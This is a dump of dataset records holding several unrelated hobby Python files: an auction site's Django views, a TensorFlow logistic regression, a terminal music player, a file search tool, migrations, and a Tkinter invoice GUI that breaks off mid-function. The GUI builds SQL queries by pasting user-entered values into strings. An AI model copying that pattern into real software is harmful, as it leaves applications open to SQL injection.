User.objects.filter(id=seller['seller_username_id']).values('first_name', 'last_name')[0]\n\t\timage = Image.objects.filter(product_image=result['id']).values('image_file')\n\t\tinstance_data = {\n\t\t\t\t\t'product_name': result['product_name'],\n\t\t\t\t\t'product_category': category,\n\t\t\t\t\t'product_desc': result['product_desc'],\n\t\t\t\t\t'product_image': image,\n\t\t\t\t\t'product_min_price': result['product_min_price'],\n\t\t\t\t\t'artist': result['product_by'],\n\t\t\t\t\t'product_date': result['product_date'],\n\t\t\t\t\t'product_seller': seller,\n\t\t\t\t\t'product_height': result['product_height'],\n\t\t\t\t\t'product_length': result['product_length'],\n\t\t\t\t}\n\t\tif result['product_medium_used_id']:\n\t\t\tmedium = Medium.objects.filter(id=result['product_medium_used_id']).values('medium_used')[0]\n\t\t\tinstance_data.update({'product_medium_used': medium})\n\n\t\tif result['product_auction_date_id']:\n\t\t\tevent = Event.objects.filter(id=result['product_auction_date_id']).values('event_name', 'event_date', 'event_location')[0]\n\t\t\tinstance_data.update({'product_auction_date': event})\n\n\t\tif result['product_framed']:\n\t\t\tinstance_data.update({'product_framed': result['product_framed']})\n\n\t\tif 'product_image_type' in result:\n\t\t\tinstance_data.update({'product_image_type': result['product_image_type']})\n\t\tfinal_data.append(instance_data)\n\tcontext= {\n\t\t'title': 'Product',\n\t\t'data': final_data,\n\t}\n\tcontext.update(search_value)\n\treturn render(request, template_name, context=context)\n\ndef event(request, value):\n\tsearch_value = get_search_value()\n\ttemplate_name = 'home_app/event.html'\n\tfinal_data = []\n\tinstance_data = {}\n\tsearch_result = Event.objects.filter(id=value).values().annotate()[0]\n\tproduct = Product.objects.filter(product_auction_date_id=search_result['id']).values('id', 'product_name', 'product_category').annotate()\n\tfor result in product:\n\t\tprint(result)\n\t\tcategory = Category.objects.filter(id=result['product_category']).values('category_name')[0]\n\t\tinstance_data = {\n\t\t\t\t\t'product_category': category,\n\t\t\t\t\t'prod_id': result['id'],\n\t\t\t\t\t'product_name': result['product_name'],\n\t\t\t\t}\n\t\tfinal_data.append(instance_data)\n\tcontext= {\n\t\t'title': 'Event',\n\t\t'data': final_data,\n\t\t'event': search_result,\n\t}\n\tcontext.update(search_value)\n\treturn render(request, template_name, context=context)\n\ndef products(request):\n\tvalue = get_search_value()\n\ttemplate_name = 'home_app/products.html'\n\tproducts = Product.objects.all().values('id', 'product_name', 'product_by', 'product_desc').annotate().exclude(approved=False)\n\tfor product in range(0, len(products)):\n\t\timage = Image.objects.filter(product_image=products[product]['id']).values('image_file')[0]\n\t\timage_list = {\n\t\t\t'image': image\n\t\t}\n\t\tproducts[product].update(image_list)\n\tcontext= {\n\t\t'title': 'Product',\n\t\t'data': products,\n\t}\n\t# print(request.POST)\n\tcontext.update(value)\n\treturn render(request, template_name, context=context)\n\ndef events(request):\n\tvalue = get_search_value()\n\ttemplate_name = 'home_app/events.html'\n\tevents = Event.objects.all().values('id', 'event_name', 'event_desc', 'event_date', 'thumbnail').annotate()\n\tcontext= {\n\t\t'title': 'Events',\n\t\t'data': events,\n\t}\n\t# print(request.POST)\n\tcontext.update(value)\n\treturn render(request, template_name, context=context)\n\ndef catalogue(request):\n\tpass","repo_name":"sunil-thapa99/auction","sub_path":"app/auction_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5871,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"18242252682","text":"class Seq:\n    \"\"\"A class for representing sequence objects\"\"\"\n\n    # function for initializing the object\n    # strsbases: is a parameter, you can call wherever you want\n    # called every time a new object is created\n    # cada vez que creas un objeto esto se imprime\n    # strbases is an attribute\n    def __init__(self, strbases):\n        self.strbases = strbases\n        # to store the info in the attirbute of the object we put self\n        print(\"New sequence created!\")\n\n    # it run each time something is print\n    # it gives the internal info of the object\n    def __str__(self):\n        return self.strbases\n\n    # calculating the lenght of the sequence\n    def len(self):\n        return len(self.strbases)\n\n\n# inherit all the methods of the bases\n# this object will have the same methods than Seq objects\nclass Gene(Seq):\n    pass\n\n\n# -- Main project\n# cuando creamos un objeto hay que poner algo dentro\n\ns1 = Seq(\"AACTGC\")\n# s2 = Seq() # empty object\ng = Gene(\"ACGTACG\")\n\n# f means format, is the same that (\"hello\", variable)\nprint(f\"sequence 2: {g}\")\nprint(f\"Sequence 1:  {s1}\")\n# prints the object identification, no the internal info, you have you put the def _str_\n\nl1 = s1.len()\nprint(f\"the lenght of the sequence 1 is {l1}\")\nprint(f\"the lenght of the sequence 2 is {g.len()}\")\n\nprint(\"Testing objects...\")\n\ng = Gene(\"CAGTAC\")\nprint(f\"Gene: {g}\")\n","repo_name":"pilaraguilar/2019-2020-PNE-Practices","sub_path":"session-06/seq-01.py","file_name":"seq-01.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17777953396","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# In[2]:\n\n\nN = 100\nx_zeros = np.random.multivariate_normal(mean=np.array(\n    (-1, -1)), cov=0.1 * np.eye(2), size=(N // 2,))\ny_zeros = np.zeros((N // 2,), dtype=np.float32)\n\n\n# In[3]:\n\n\nprint(f\"X0 shape : {x_zeros.shape}, Y0 shape : {y_zeros.shape}\")\n\n\n# In[4]:\n\n\nx_ones = np.random.multivariate_normal(\n    mean=np.array((1, 1)), cov=0.1 * np.eye(2), size=(N // 2,))\ny_ones = np.ones((N // 2,), dtype=np.float32)\n\n\n# In[5]:\n\n\nprint(f\"X1 shape : {x_ones.shape}, Y1 shape : {y_ones.shape}\")\n\n\n# In[6]:\n\n\n# we are keeping y of x_zeros is zero and y of x_ones one.\n\n\n# In[7]:\n\n\nX = np.concatenate((x_zeros, x_ones))\nprint(f\"X shape : {X.shape}\")\n\n\n# In[8]:\n\n\nY = np.concatenate((y_zeros, y_ones)).reshape((100, 1))\nprint(f\"Y shape : {Y.shape}\")\n\n\n# In[9]:\n\n\nplt.scatter(x_zeros[:, 0], x_zeros[:, 1], color=\"blue\")\nplt.scatter(x_ones[:, 0], x_ones[:, 1], color=\"red\")\nplt.show()\n\n\n# In[10]:\n\n\nimport tensorflow as tf\n\n\n# In[11]:\n\n\nwith tf.name_scope(\"placeholders\"):\n    x = tf.placeholder(tf.float32, (100, 2))\n    y = tf.placeholder(tf.float32, (100, 1))\n\nwith tf.name_scope(\"Wights\"):\n    W = tf.Variable(tf.random_normal((1, 2)))\n    b = tf.Variable(tf.random_normal((1, 1)))\n\nwith tf.name_scope(\"Prediction\"):\n    Z = tf.transpose(tf.add(tf.matmul(W, tf.transpose(x)), b))\n\nwith tf.name_scope(\"loss\"):\n    L = tf.nn.sigmoid_cross_entropy_with_logits(labels=y, logits=Z)\n    L = tf.reduce_mean(L)\n\nwith tf.name_scope(\"Optimizer\"):\n    train_op = tf.train.AdamOptimizer(0.001).minimize(L)\n\nwith tf.name_scope(\"summaries\"):\n    tf.summary.scalar(\"loss\", L)\n    merged = tf.summary.merge_all()\n\ntrain_writer = tf.summary.FileWriter(\n    r'C:\\Users\\Shambu\\Google Drive\\Deep Learning\\Notebooks', tf.get_default_graph())\n\n\n# In[12]:\n\n\nwith tf.Session() as sess:\n    sess.run(tf.global_variables_initializer())\n    # training\n    for i in range(2001):\n        feed_dict = {x: X, y: Y}\n        _, loss = sess.run([train_op, L], feed_dict=feed_dict)\n        summary = sess.run(merged, feed_dict=feed_dict)\n        if i % 100 is 0:\n            print(f\"Epoch : {i}, Loss : {loss}\")\n        train_writer.add_summary(summary, i)\n    w_out = sess.run(W)\n    logits = sess.run(Z, feed_dict={x: X})\n    y_hat = sess.run(tf.math.sigmoid(logits))\n    y_hat[y_hat >= 0.5] = 1\n    y_hat[y_hat < 0.5] = 0\n    b_out = sess.run(b)\n\n\n# In[18]:\n\n\naccuracy = 1 - (np.sum(abs(Y - y_hat))) / Y.shape[0]\nprint(f\"Accuracy of the model : {accuracy*100}%\")\n\n\n# In[14]:\n\n\ndef decision_points(b, w1, w2):\n    max_x1 = np.max(X[:, 0])\n    max_x2 = np.max(X[:, 1])\n    x1 = -b / w1 - (max_x2 * w2) / w1\n    x2 = -b / w2 - (max_x1 * w1) / w2\n    return [max_x1, x2], [x1, max_x2]\n\n\n# In[15]:\n\n\nplt.scatter(x_zeros[:, 0], x_zeros[:, 1], color=\"blue\")\nplt.scatter(x_ones[:, 0], x_ones[:, 1], color=\"red\")\nw = np.squeeze(w_out)\nx, y = decision_points(b_out, w[0], w[1])\nplt.plot(x, y, color=\"black\")\nplt.show()\n","repo_name":"shambu09/logistic_regression","sub_path":"L-Regression.py","file_name":"L-Regression.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11089079932","text":"import search_pyplayer\nimport banners\nimport audio_stream\n\n\nfrom colorama import Fore, Back, Style\nimport sys\nimport subprocess\n\n\n\n\ncustom_player = audio_stream.Player()\nlast_search = dict()\nbanners.print_banner()\nwhile True:\n    try:\n        cmd = input(\"$ >> \")\n        if cmd == \"help\" or cmd == \"h\":\n            banners.print_banner()\n            print (\"List of commands:\\n\\thelp: show this info message)\")\n            print (\"\\tsearch <query> : Search for \\\"query\\\" keyword on youtube\")\n            print (\"\\tadd <id> : Download the previusly searched \\\"id\\\" and add it to the queue\")\n            print (\"\\tplay <name> : Force to add the first result of \\\"name\\\" to the queue \")\n            print (\"\\tqueue : Show the currently queue\")\n            print (\"\\tnext : Skip the current song\")\n            print(\"\\tpause / resume: To pause or resume the player\")\n            print(\"\\tq : quit\")\n        if \"search\" in cmd:\n            result = search_pyplayer.search(cmd.strip().split(\"search \")[1])\n            last_search = result\n            for k in result:\n                if int(k) % 2 == 0:\n                    print(Fore.CYAN + \"-> id : {} | Name : {}\".format(k, result[k][0] ) )\n                else:\n                    print(Fore.GREEN + \"-> id : {} | Name : {}\".format(k, result[k][0] ) )\n        elif \"add\" in cmd:\n            id = int(cmd.strip(\"add \"))\n            url = last_search[id][1]\n            custom_player.add_to_queue(last_search[id])\n        elif \"play\" in cmd:\n            song_name = cmd.split(\"play \")[1]\n            result = search_pyplayer.search(song_name)\n            custom_player.add_to_queue(result[0])\n        elif \"next\" in cmd:\n            #custom_player.next()\n            print(\"Skipping ... \")\n            custom_player.force_next()\n        elif \"queue\" in cmd or \"q\" == cmd:\n            print (\"Current playing: \", custom_player.check_current())\n            if len(custom_player.check_queue()) == 0:\n                print(Fore.RED + \"Empty queue \")\n            else:\n                c = 0\n                for k in custom_player.check_queue():\n                    if c % 2 == 0:\n                        print(\"\\t\" * c + Fore.CYAN + \" --> \" + k[0])\n                    else:\n                        print(\"\\t\" * c + Fore.GREEN + \" --> \" + k[0])\n                    c += 1\n        elif \"pause\" in cmd or \"resume\" in cmd:\n            custom_player.pause_resume()\n\n        elif \"exit\" in cmd or \"quit\" in cmd:\n            print(\"Closing, please wait ...\")\n            break\n        print(Style.RESET_ALL)\n\n    except KeyboardInterrupt as e:\n        print (\"Closing, please wait... \")\n        subprocess.Popen(\"kill $(pidof vlc) > /dev/null 2>&1\", shell=True)\n        custom_player.scheduler.stop()\n        sys.exit(-1)\n    except:\n        print (\"Type help or h for help :D \")\n\nsubprocess.Popen(\"kill $(pidof vlc) > /dev/null 2>&1\", shell=True)\ncustom_player.scheduler.stop()\n","repo_name":"jcatala/youtipy","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"21968841423","text":"from datetime import datetime\n\n\ndef search(search_data):\n    Query = str(input(\"Enter Your Word:\"))\n    queryList = list(set(Query.lower().split()))\n\n    t1 = datetime.now()\n\n    if ('or' in queryList and 'and' not in queryList):\n        queryList.remove('or')\n        print (\"Performing OR search for:\" + ('\\t').join(queryList))\n        for data in search_data:\n            for word in queryList:\n                if word in data[1]:\n                    found = True\n                    print(\"Found At \" + data[0]+\" \"+data[2]+\" \"+data[3] )\n                    break\n        if found == False:\n                print (\"None\")\n    else:\n        if ('and' in queryList and 'or' not in queryList):\n            queryList.remove('and')\n        elif ('and' in queryList and 'or' in queryList):\n            queryList.remove('and')\n            queryList.remove('or')\n        else:\n            queryList = queryList\n        print (\"Performing AND search for:\" + ('\\t').join(queryList))\n        for data in search_data:\n            for word in queryList:\n                if word not in data[1]:\n                    flag = False\n                    break\n                else: flag = True\n            if flag == True:\n                found_once = True\n                print(\"Found At \" + data[0] +\" \"+data[2]+\" \"+data[3])\n        if flag == False:\n                print (\"None\")\n    t2 = datetime.now()\n    print(\"Execution time:\", t2.microsecond-t1.microsecond)\n\n\n\n##############################################################\n\nimport pickle\n\ndef read_data():\n    raw_data = pickle.load(open(\"raw_data.pickle\",\"rb\"))\n    return raw_data\n\n\n#############################################################\n\nimport os\nimport shutil\nimport fnmatch\nimport pickle\nimport time\n \ndef get_traversal_data():\n     traversal_data = []\n     for dirpath, dirs, files in os.walk('E:\\\\h2h'):\n          for single_file in files:\n               filepath = os.path.abspath(os.path.join(dirpath, single_file))\n               F = open(filepath,'r')\n               data = F.read().replace('\\n', ' ')\n               modified = \"Last Modified: \"+ time.ctime(os.path.getmtime(filepath))\n               size = \"Size of file: \"+str(os.path.getsize(filepath))\n               tup = (filepath,data,modified,size)\n               traversal_data.append(tup)\n     pickle.dump(traversal_data,open(\"raw_data.pickle\", \"wb\"))\n\n\n     \n###############################################################    \n\n\nimport data_load\nimport searcher\nimport indexer\n\n\ndef searchForContent():\n    data_load.get_traversal_data()\n    search_data = indexer.read_data()\n    searcher.search(search_data)\n\n\nsearchForContent()\n\n\n\n\n\n","repo_name":"AliAldubaikhi/Python2","sub_path":"HW3.py","file_name":"HW3.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7640927649","text":"\"\"\"new changes\n\nRevision ID: ff7e61de93e4\nRevises: 93903315cfae\nCreate Date: 2022-12-06 17:33:55.373980\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ff7e61de93e4'\ndown_revision = '93903315cfae'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('global_knowledge_test',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('name', sa.String(length=100), nullable=True),\n    sa.PrimaryKeyConstraint('id')\n    )\n    op.create_table('global_knowledge_test_user_results',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('user_id', sa.Integer(), nullable=True),\n    sa.Column('global_knowledge_test_id', sa.Integer(), nullable=True),\n    sa.Column('question_id', sa.Integer(), nullable=True),\n    sa.Column('answer', sa.String(length=500), nullable=True),\n    sa.Column('is_correct', sa.Boolean(), nullable=False),\n    sa.ForeignKeyConstraint(['global_knowledge_test_id'], ['global_knowledge_test.id'], ondelete='CASCADE'),\n    sa.ForeignKeyConstraint(['question_id'], ['knowledge_test_questions.id'], ondelete='CASCADE'),\n    sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n    sa.PrimaryKeyConstraint('id')\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('global_knowledge_test_user_results')\n    op.drop_table('global_knowledge_test')\n    # ### end Alembic commands ###\n","repo_name":"Luberski/Virtual_Python_School","sub_path":"Back-End/alembic/versions/ff7e61de93e4_new_changes.py","file_name":"ff7e61de93e4_new_changes.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29398113085","text":"# Faça um programa que leia 20 números inteiros e armazene os num vetor.\n# Armazene os números PARES no vetor par e os números impares no vetor impar.\n# No final imprima os 3 vetores.\n\nvetor = []\npar = []\nimpar = []\n\nfor i in range(1, 21):\n    n = int(input(f\"Insira um número inteiro - {i} de 20: \"))\n    vetor.append(n)\n\nfor i in range(len(vetor)):\n    if vetor[i]%2 == 0:\n        par.append(vetor[i])\n    else:\n        impar.append(vetor[i])\n\nprint(f\"Vetor original: {vetor}\")\nprint(f\"Vetor apenas com os números pares: {par}\")\nprint(f\"Vetor apenas com números impares: {impar}\")","repo_name":"vwnxvinicius/exercicios_python","sub_path":"ExerciciosListas/exercicio_05.py","file_name":"exercicio_05.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71291516671","text":"#!/usr/bin/python3\nimport os\n\nos.system('touch result.txt')\nprint('______________________________')\nfor i in range(1, 6):\n\tinputFileDirection = './tests/test{}.txt'.format(i)\n\toutputFileDirection = './tests/output{}.txt'.format(i)\n\tos.system('./lab3 {} result.txt'.format(inputFileDirection))\n\n\tinputFile = open(inputFileDirection, 'r')\n\toutputFile = open(outputFileDirection, 'r')\n\tresult = open('result.txt', 'r')\n\tres = result.read()\n\tprint('INPUT:\\n\\t{}'.format(inputFile.read()))\n\tprint('OUTPUT:\\n\\t{}'.format(res))\n\tif res == outputFile.read():\n\t\tprint('CORRECT')\n\telse:\n\t\tprint('INCORRECT')\n\tprint('______________________________')\n\tinputFile.close()\n\toutputFile.close()\n\tresult.close()\n\nfor i in range(1, 3):\n\tinputFileDirection = './tests/errors{}.txt'.format(i)\n\tos.system('./lab3 {} 2> result.txt'.format(inputFileDirection))\n\n\tinputFile = open(inputFileDirection, 'r')\n\tresult = open('result.txt', 'r')\n\tres = result.read()\n\tprint('INPUT:\\n\\t{}'.format(inputFile.read()))\n\tprint('OUTPUT:\\n\\t{}'.format(res))\n\tif res == 'Error: expression is incorrect\\n':\n\t\tprint('CORRECT')\n\telse:\n\t\tprint('INCORRECT')\n\tprint('______________________________')\n\tinputFile.close()\n\tresult.close()\n\nos.system('rm -rf result.txt')\n","repo_name":"makometr/ADS-9304","sub_path":"Lambin/lab3/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20656689085","text":"import time\nfrom aiida.utils import timezone\n\nfrom sqlalchemy.exc import SQLAlchemyError\n\nfrom aiida.backends.sqlalchemy import get_scoped_session\nfrom aiida.backends.sqlalchemy.models.lock import DbLock\nfrom aiida.common.exceptions import (InternalError, ModificationNotAllowed,\n                                     LockPresent)\nfrom aiida.orm.implementation.general.lock import AbstractLockManager, AbstractLock\n\n\n\nclass LockManager(AbstractLockManager):\n    def aquire(self, key, timeout=3600, owner=\"None\"):\n        session = get_scoped_session()\n        try:\n            with session.begin(subtransactions=True):\n                dblock = DbLock(key=key, timeout=timeout, owner=owner)\n                session.add(dblock)\n\n            return Lock(dblock)\n\n        except SQLAlchemyError:\n            old_lock = DbLock.query.filter_by(key=key).first()\n\n            timeout_secs = time.mktime(old_lock.creation.timetuple()) + old_lock.timeout\n            now_secs = time.mktime(timezone.now().timetuple())\n\n            if now_secs > timeout_secs:\n                raise InternalError(\n                    \"A lock went over the limit timeout, this could mine the integrity of the system. Reload the Daemon to fix the problem.\")\n            else:\n                raise LockPresent(\"A lock is present.\")\n\n        except:\n            raise InternalError(\"Something went wrong, try to keep on.\")\n\n    def clear_all(self):\n        session = get_scoped_session()\n        with session.begin(subtransactions=True):\n            DbLock.query.delete()\n\nclass Lock(AbstractLock):\n\n    def release(self, owner=\"None\"):\n        session = get_scoped_session()\n        if self.dblock is None:\n            raise InternalError(\"No dblock present.\")\n\n        try:\n            if self.dblock.owner == owner:\n                session.delete(self.dblock)\n                session.commit()\n                self.dblock = None\n            else:\n                raise ModificationNotAllowed(\"Only the owner can release the lock.\")\n\n        except:\n            raise InternalError(\"Cannot release a lock, Reload the Daemon to fix the problem.\")\n\n    @property\n    def isexpired(self):\n        if self.dblock is None:\n            return False\n\n        timeout_secs = time.mktime(self.dblock.creation.timetuple()) + self.dblock.timeout\n        now_secs = time.mktime(timezone.now().timetuple())\n\n        if now_secs > timeout_secs:\n            return True\n        else:\n            return False\n\n    @property\n    def key(self):\n        if self.dblock is None:\n            return None\n\n        return self.dblock.key\n","repo_name":"yw-fang/aiida_core","sub_path":"aiida/orm/implementation/sqlalchemy/lock.py","file_name":"lock.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"37113366740","text":"from Tkinter import *\nfrom ttk import *\nimport tkFont as F\nfrom proWrd import Filter, InvoiceSplit\nfrom tkMessageBox import showinfo\nfrom tkMessageBox import askokcancel\nfrom TableTree import MultiListbox\nimport UniqueIdGenerator as uig\nfrom buttoncalender import CalendarButton\n\nsty = N + W + S + E\n\n\nclass NewCustomer(Frame):\n    def __init__(self, master, modify, tup, db):\n        Frame.__init__(self, master)\n        self.master = master\n        self.db = db\n        self.modify = modify\n        self.tup = tup\n        bg = 'White'\n        fg = \"#3496ff\"\n        self.app = Frame(master)\n        self.app.grid(row=0, column=0, sticky=sty)\n        self.app.rowconfigure(1, weight=1)\n        self.app.columnconfigure(0, weight=1)\n        if modify == True:\n            value = tup[1]\n            self.ctmid = tup[0]\n        else:\n            value = \"Customer Name\"\n            self.ctmid = None\n        self.name = Label(self.app, text=value, font=('Arial Black', 26), foreground=fg)\n        self.name.grid(row=0, column=0, sticky=sty, pady=10)\n\n        note = Notebook(self.app)\n        note.grid(row=1, column=0, sticky=sty)\n        note.rowconfigure(0, weight=1)\n        note.columnconfigure(0, weight=1)\n        self.notepage1(note, modify, tup)\n        if modify == True:\n            self.notepage2(note)\n\n    def update_name(self, event):\n        name = Filter(self.entry5.get()).title()\n        if len(name) == 0:\n            name = \"Customer Name\"\n        self.name.configure(text=name)\n\n    def editinvoice(self):\n        i = self.mlb21.Select_index\n        if i == None:\n            return showinfo(\"Message\", \"No Item Selected\", parent=self.master)\n        piid = self.mlb21.trueparent(self.mlb21.Select_iid)\n        i = self.mlb21.index(piid)\n        r = self.mlb21.get(i)\n        self.invid = r[0]\n        root13 = Toplevel()\n        root13.title(\"Invoice Edit\")\n        root13.grid()\n        for i in range(5):\n            root13.rowconfigure(i, weight=1)\n        for i in range(2):\n            root13.columnconfigure(i, weight=1)\n        lf = root13\n        self.invgui = root13\n        color = 'gray98'\n        root13['background'] = color\n        Label(lf, text=\"Invoice ID : %s\" % (self.invid), foreground=\"#3496ff\", font=('Berlin Sans FB Demi', 18)).grid(\n            row=0, column=0, columnspan=2, sticky=sty, pady=8, padx=7)\n\n        r = self.db.sqldb.execute(\"\"\" SELECT invoice_date,invoice_no,customer_name,phone_no FROM invoices\n                JOIN customers USING (customer_id) JOIN contacts USING (customer_id) WHERE invoice_id = \"%s\" \"\"\" % (\n            self.invid)).fetchone()\n        Label(lf, text=\"Invoice Date\", width=20).grid(row=1, column=0, sticky=sty, pady=8, padx=7)\n        Label(lf, text=\"Invoice No\").grid(row=2, column=0, sticky=sty, pady=8, padx=7)\n        Label(lf, text=\"Customer Name\").grid(row=3, column=0, sticky=sty, pady=8, padx=7)\n        Label(lf, text=\"Customer Phone\").grid(row=4, column=0, sticky=sty, pady=8, padx=7)\n        self.invdate = CalendarButton(lf)\n        self.invdate.grid(row=1, column=1, sticky=sty, pady=8, padx=7)\n        try:\n            self.invdate.insert(r[0])\n        except:\n            self.invdate.insert(self.invdate.getTimeStamp())\n        self.invno = Spinbox(lf, from_=0, to=9999)\n        self.invno.grid(row=2, column=1, sticky=sty, pady=8, padx=7)\n        self.invno.delete(0, END)\n        self.invno.insert(0, r[1])\n\n        self.cusname = Entry(lf, width=40)\n        self.cusname.grid(row=3, column=1, sticky=sty, pady=8, padx=7)\n        self.cusname.delete(0, END)\n        self.cusname.insert(0, r[2])\n\n        self.cusphn = Entry(lf)\n        self.cusphn.grid(row=4, column=1, sticky=sty, pady=8, padx=7)\n        self.cusphn.delete(0, END)\n        self.cusphn.insert(0, r[3])\n\n        Button(lf, text=\"Save\", command=lambda: self.invoicesave()).grid(row=5, column=1, sticky=sty, pady=8, padx=7)\n        root13.wait_window()\n        return 1\n\n    def invoicesave(self):\n        try:\n            no = float(Filter(self.invno.get()))\n            phn = Filter(self.cusphn.get())\n            date = Filter(self.invdate.get())\n        except:\n            return showinfo(title=\"ERROR\", message='Invoice Number must be numbers', parent=self.master)\n        ctmid = self.db.sqldb.getcustomerID(phn)\n        if ctmid == None:\n            return showinfo(title=\"ERROR\", message='Customer Not Found', parent=self.master)\n        self.db.editinvoice(self.invid, ctmid, no, date)\n        self.invgui.destroy()\n        self.mlb21load()\n        return showinfo(title=\"Successful\", message='Changes Saved', parent=self.master)\n\n    def deleteinvoice(self):\n        i = self.mlb21.Select_index\n        if i == None:\n            return showinfo(\"Message\", \"No Item Selected\", parent=self.master)\n        r = self.mlb21.get(i)\n        self.invid = r[0]\n        ans = askokcancel(\"Message\", \"Sure You Want To Delete %s ?\" % (self.invid), parent=self.master)\n        if ans == True:\n            b = self.db.deleteinvoice(self.invid)\n            if b == True:\n                return showinfo(\"Message\", \"%s Has Been Successfully Deleted\" % (self.invid),\n                                parent=self.master), self.mlb21load()\n            else:\n                return showinfo(\"Message\", \"%s Is Attached To Selling Records\" % (self.invid),\n                                parent=self.master), self.mlb21load()\n        return False\n\n    def notepage2(self, note):\n        self.invid = None\n        app1 = Frame(note)\n        app1.grid(row=0, column=0, sticky=sty)\n        note.add(app1, text=' Invoices ')\n        for i in range(5):\n            app1.rowconfigure(i, weight=1)\n        for i in range(3):\n            app1.columnconfigure(i, weight=1)\n        Label(app1, text=\"Invoice Attached\", font=('Berlin Sans FB Demi', 21), foreground=\"#3496ff\").grid(row=0,\n                                                                                                          column=0,\n                                                                                                          sticky=sty,\n                                                                                                          padx=10,\n                                                                                                          pady=10)\n        self.mlb21 = MultiListbox(app1,\n                                  ((\"Invoice ID\", 30), (\"Invoice Number\", 25), (\"Invoice Date\", 35), (\"Paid\", 20)))\n        self.mlb21.grid(row=1, column=0, columnspan=3, sticky=sty)\n        Button(app1, text=\"Edit Invoice\", command=lambda: self.editinvoice()).grid(row=0, column=1, sticky=sty, pady=20)\n        Button(app1, text=\"Delete Invoice\", command=lambda: self.deleteinvoice()).grid(row=0, column=2, sticky=sty,\n                                                                                       pady=20, padx=5)\n        self.lbl1 = Label(app1, text=\"Total Amount Earned - 0 \")\n        self.lbl1.grid(row=2, column=0, sticky=sty, padx=5, pady=5)\n        self.lbl2 = Label(app1, text=\"Total No of Product - 0 \")\n        self.lbl2.grid(row=3, column=0, sticky=sty, padx=5, pady=5)\n        self.lbl3 = Label(app1, text=\"Total Amount Due - 0 \")\n        self.lbl3.grid(row=4, column=0, sticky=sty, padx=5, pady=5)\n        if self.modify == True:\n            self.mlb21load()\n        return 1\n\n    def mlb21load(self):\n        self.mlb21.delete(0, END)\n        ctmid = self.tup[0]\n        invoices = self.db.sqldb.execute(\"\"\"SELECT invoice_id,invoice_no,invoice_date,paid\n                           FROM invoices WHERE customer_id = \"%s\" ORDER BY invoice_no \"\"\" % (ctmid)).fetchall()\n        tp = 0.0\n        tpro = 0\n        td = 0.0\n        for i in invoices:\n            invid = i[0]\n            paid = i[3]\n            tp = tp + float(paid)\n            iid = self.mlb21.insert(END, i)\n            tup1 = self.db.sqldb.execute(\"\"\" SELECT  product_name,cost,sold_price,QTY  FROM  (SELECT * FROM sells JOIN costs USING (cost_id) JOIN products USING (product_id) )\n                    JOIN invoices USING (invoice_id) WHERE invoice_id = \"%s\" ORDER BY product_name \"\"\" % (\n                invid)).fetchall()\n            self.mlb21.insert(END, [\"Product Name\", \"Cost Price\", \"Selling Price\", \"Qty\"], parent=iid, rowname=\"+\",\n                              bg='grey90', fg='Blue', tag=\"l5\")\n            tpro += len(tup1)\n            for g in xrange(len(tup1)):\n                self.mlb21.insert(END, tup1[g], parent=iid, rowname=g, bg='white')\n        self.lbl1[\"text\"] = \"Total Amount Earned - %d \" % (tp)\n        self.lbl2[\"text\"] = \"Total No of Product - %d \" % (tpro)\n        self.lbl3[\"text\"] = \"Total Amount Due - %d \" % (td)\n        return 0\n\n    def phnrefresh(self, ctmid):\n        self.mlb2221.delete(0, END)\n        d = self.db.execute(\"\"\" SELECT phone_no FROM contacts WHERE customer_id = \"%s\" \"\"\" % (ctmid))\n        for i in d:\n            self.mlb2221.insert(END, i)\n        return None\n\n    def phoneedit(self, edit):\n        tup = []\n        if edit == True:\n            index = self.mlb2221.Select_index\n            if index == None or index > self.mlb2221.size():\n                return showinfo('Select Error', 'Noting Is Selected', parent=self.master)\n            piid = self.mlb2221.trueparent(self.mlb2221.Select_iid)\n            index = self.mlb2221.index(piid)\n            tup = self.mlb2221.get(index)\n        self.t = Toplevel(master=self.master)\n        self.t.title('Add Contact Number')\n        if edit == True:\n            self.t.title('Edit Contact Number')\n        self.t['bg'] = 'white'\n        self.t.focus()\n        Label(self.t, text=\"Contact Number\", background='white').grid(row=1, column=0, padx=5, pady=5)\n        self.e = Entry(self.t)\n        self.e.grid(row=1, column=1, sticky=E + S + W + N, padx=5, pady=5)\n        btn = Button(self.t, text=\"Save Phone\", command=lambda: self.Savephone(edit, tup))\n        btn.grid(row=2, column=1, sticky=E + S + W + N, padx=5, pady=5)\n        if edit == True:\n            Label(self.t, text=\"Phone ID : \", background='white').grid(row=0, column=0, padx=5, pady=5)\n            Label(self.t, text=self.db.sqldb.getphoneID(tup[0]), background='white').grid(row=0, column=1, padx=5,\n                                                                                          pady=5)\n            self.e.delete(0, END)\n            